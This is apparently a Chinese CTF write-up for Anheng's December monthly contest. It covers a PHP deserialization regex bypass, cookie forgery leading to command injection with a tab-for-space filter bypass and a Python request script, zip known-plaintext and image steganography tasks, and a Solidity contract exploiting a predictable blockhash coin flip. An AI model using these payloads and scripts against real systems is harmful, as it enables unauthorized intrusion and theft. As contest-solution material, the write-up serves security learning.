ezweb

主要是序列化问题。没有PHP环境,在线运行的。实例化对象之后修改一下file。然后echo输出序列化的结果。不过下面有一个正则检查。数字前加一个+,影响了正则的匹配,但是对于序列化的还原没有影响。直接写+不生效,于是对+进行URL编码,就绕过了。

<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
} $flag = new baby();
$flag->file = "index.php";
$flag = serialize($flag); echo $flag;
echo unserialize($flag)
?>

拿到一个'O:4:"baby":1:{s:4:"file";s:9:"index.php";}'。在加入+号处理一下,直接不生效,需要URL编码'O:%2b4:"baby":1:{s:4:"file";s:9:"index.php";}'。

然后不小心爆出来了代码运行网站的目录。

ezweb2

浏览了一会,不知道网站哪有问题,最后看到cookie里有一个user变量。此处必有蹊跷。拉出来用base64解了一下,看到一个普通的用户的字符串。然后扫到一个admin.php,提示我不是管理员。两者就对上了,改cookie重新刷新user=YWRtaW4=%3D%3D。看到了后台,输入一个密码试试吧。结果发现post出去的表单,输入的内容在cmd字段下。然后判定这不是一个密码,而是一个命令执行。然后用ls证实了想法。然后使用cat查看文件内容的时候出错。当时有两个想法,一个是空格还有一些字符被过滤了,另一个是回显或者命令长度有限制。先按照第一个想法来,fuzz一下什么被过滤了。测出来几个可用的字符,基本上印证了被过滤的想法。使用0x9h替代空格,然后就可以顺利执行命令。

最后的flag在根目录下。

import requests

#fuzz时使用这个循环,注释下一循环。
#for i in range(1,128): for i in range(9,10):
url = "http://101.71.29.5:10000/admin.php" payload = {'cmd':'cat' + chr(i) + '/ffLAG_404'}
headers = {
'origin': "http://101.71.29.5:10000",
'upgrade-insecure-requests': "1",
'content-type': "application/x-www-form-urlencoded",
'user-agent': "Mozilla/7.0 (Windows NT 11; Win64; x64) AppleWebKit/539.36 (KHTML, like Gecko) Chrome/76.0.3538.67 Safari/539.36",
'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
'referer': "http://101.71.29.5:10000/admin.php",
'accept-encoding': "gzip, deflate",
'accept-language': "zh-CN,zh;q=0.9",
'cookie': "PHPSESSID=155tke89leol6648g64rrd2p20; user=YWRtaW4=%3D%3D",
'cache-control': "no-cache"
} response = requests.request("POST", url, data=payload, headers=headers)
#print(i,chr(i))
#print(len(response.text))
print(response.text)

misc1

为做题还要涉及早期被公开的泄露数据,这是在教人学坏。拿python处理这些数据的时候换行没处理对,所以跑字典的时候出了问题,没成功解开。

安恒的运营挺有意思的,求生欲很强,为了给公众号用户保活,自己的比赛平台不用,非要在公众号上放hint。

misc2 签到

关注一个公众号,文字游戏。

misc3

压缩包破解。同级目录下有一个压缩包内含的文件,明显的明文攻击。这种题就很烦。偏偏安恒很喜欢出。之前参加他们的比赛,给的一个压缩包,只有7z没毛病,其他都解不出来。这次这个需要winrar压缩,如果你的明文攻击大于10分钟,那么就停下来,重新制作压缩包或者换不同的版本。很烦。因为压缩本来就是有损的,所以究竟会不会出问题,真的不好判断。最后解出来的文档有一个高考秘籍——53,要位移一下这个图。

我觉得下次可以出一个这样的脑洞,放一个3D的模型,移开没有,在遮挡物的背面贴着或者穿模进去才能看到。

misc4

png图片先改像素看一下再去看有没有隐写。高度拉长一看就有字符串,末尾大于两个等号,应该是base32,解出来再拿括号里的内容再做一个MD5散列。





区块链

都说了是赌币,协议也给了。有点坑的是,直接批量不产生效果,手动了20次才收到邮件。

pragma solidity ^0.4.23;

interface BetInterFace{
function flip(bool _guess) public returns (bool success);
} contract GetFlag{
address betAddress = 0x2F99655A6dDfd3e13561Acf2c1c724385BB6A80E;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() public { }
function start2() public {
bool isTrue=getResult();
bet2(isTrue);
}
function getResult() private view returns(bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side; }
function bet2(bool result) private{
bytes4 methodId = bytes4(keccak256("flip(bool)"));
if(result){
betAddress.call(methodId,uint256(1));
}else{
betAddress.call(methodId,uint256(0));
}
}
}

安恒X计划12月月赛的更多相关文章

  1. CodePlus2017 12月月赛 div2可做题2

    11月的月赛错过了,来打12月月赛,由于很(zi)想(ji)拿(tai)衣(ruo)服(la),所以去打div2. T1是一个sb模拟,但是机房全卡死在这道语文题上了,基本上弄了一个半小时,T2可以秒 ...

  2. CSU 2018年12月月赛 B 2214: Sequence Magic

    Description 有一个1到N的自然数序列1,2,3,...,N-1,N. 我们对它进行M次操作,每次操作将其中连续的一段区间 [Ai,Bi][Ai,Bi] (即第Ai个元素到第Bi个元素之间的 ...

  3. code+12月月赛 火锅盛宴

    时间限制: 2.0 秒 空间限制: 512 MB 题目背景 SkyDec和YJQQQAQ都是Yazid的好朋友.他们都非常喜欢吃火锅.有一天,他们聚在一起,享受一场火锅盛宴. 题目描述 在这场火锅盛宴 ...

  4. CSU 2018年12月月赛 H(2220): Godsend

    Description Leha somehow found an array consisting of n integers. Looking at it, he came up with a t ...

  5. CSU 2018年12月月赛 G(2219): Coin

    Description 有这样一个众所周知的问题: 你面前有7个硬币,其中有一个劣质的(它比正常的硬币轻一点点),你有一个天平,问需要你需要使用天平多少次能保证找到那个劣质的硬币. 众所周知的算法是: ...

  6. CSU 2018年12月月赛 F(2218): Finding prime numbers

    Description xrdog has a number set. There are 95 numbers in this set. They all have something in com ...

  7. CSU 2018年12月月赛 D 2216 : Words Transformation

    Description There are n words, you have to turn them into plural form. If a singular noun ends with ...

  8. CSU 2018年12月月赛 A 2213: Physics Exam

    Description 高中物理老师总认为给学生文本形式的问题比给纯计算形式的问题要求更高.毕竟,学生首先得阅读和理解问题. 因此,他们描述一个问题不像”U=10V,I=5A,P=?”,而是”有一个含 ...

  9. 【u114】旅行计划(12月你好)

    Time Limit: 1 second Memory Limit: 128 MB [问题描述] 小明要去一个国家旅游.这个国家有N个城市,编号为1-N,并且有M条道路连接着,小明准备从其中一个城市出 ...

随机推荐

  1. 【CSS系列】获取实时数据做进度

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  2. 求组合数 C++程序

    一 递归求组合数 设函数为void    comb(int m,int k)为找出从自然数1.2.... .m中任取k个数的所有组合. 分析:当组合的第一个数字选定时,其后的数字是从余下的m-1个数中 ...

  3. Unity3D Shader图像扭曲过场效果

    把脚本挂在摄像机上 using UnityEngine; using System.Collections; [RequireComponent(typeof(Camera))] public cla ...

  4. Pry的安装

    Pry 用于rails应用的调试 在Gemfile中添加 gem 'pry', :group =>:development bundle install 即可.pry代替irb方法,直接运行: ...

  5. [LintCode] Find the Missing Number 寻找丢失的数字

    Given an array contains N numbers of 0 .. N, find which number doesn't exist in the array. Example G ...

  6. 火狐浏览器adobe flash player

    最近Firefox火狐浏览器已停止Flash Player 18.0.0.203运行 在Mozilla官方公告中,该公司提到Flash Player 18.0.0.203插件存在已知安全漏洞,建议用户 ...

  7. JPA的锁机制

    JPA 各种实体锁模式的区别 字数2084 阅读304 评论0 喜欢4 为了能够同步访问实体,JPA提供了2种锁机制.这两种机制都可以避免两个事务中的其中一个,在不知情的情况下覆盖另一个事务的数据. ...

  8. TOP100summit 2017:【案例分享】魅族持续交付平台建设实践

    本篇文章内容来自第10期魅族开放日魅族运维架构师林钟洪的现场分享.编辑:Cynthia 一.自动化建设历程1.1 魅族互联网发展的时间线 2003-2008年被称之为“互联网1.0时代”.2003年, ...

  9. opencv学习笔记霍夫变换——直线检测

    参考大佬博文:blog.csdn.net/jia20003/article/details/7724530 lps-683.iteye.com/blog/2254368 openCV里有两个函数(比较 ...

  10. CCCC L2-013. 红色警报 连通分量

    题解:将问题转化成连通分量.每次失去一座城市,切断其所有的边,算一次现在的连通分量.若增量大于1,则发出警报. 至于如何算连通分量,直接用tarjan模板 坑://我昨天晚上半夜敲的模板,把一个算所有 ...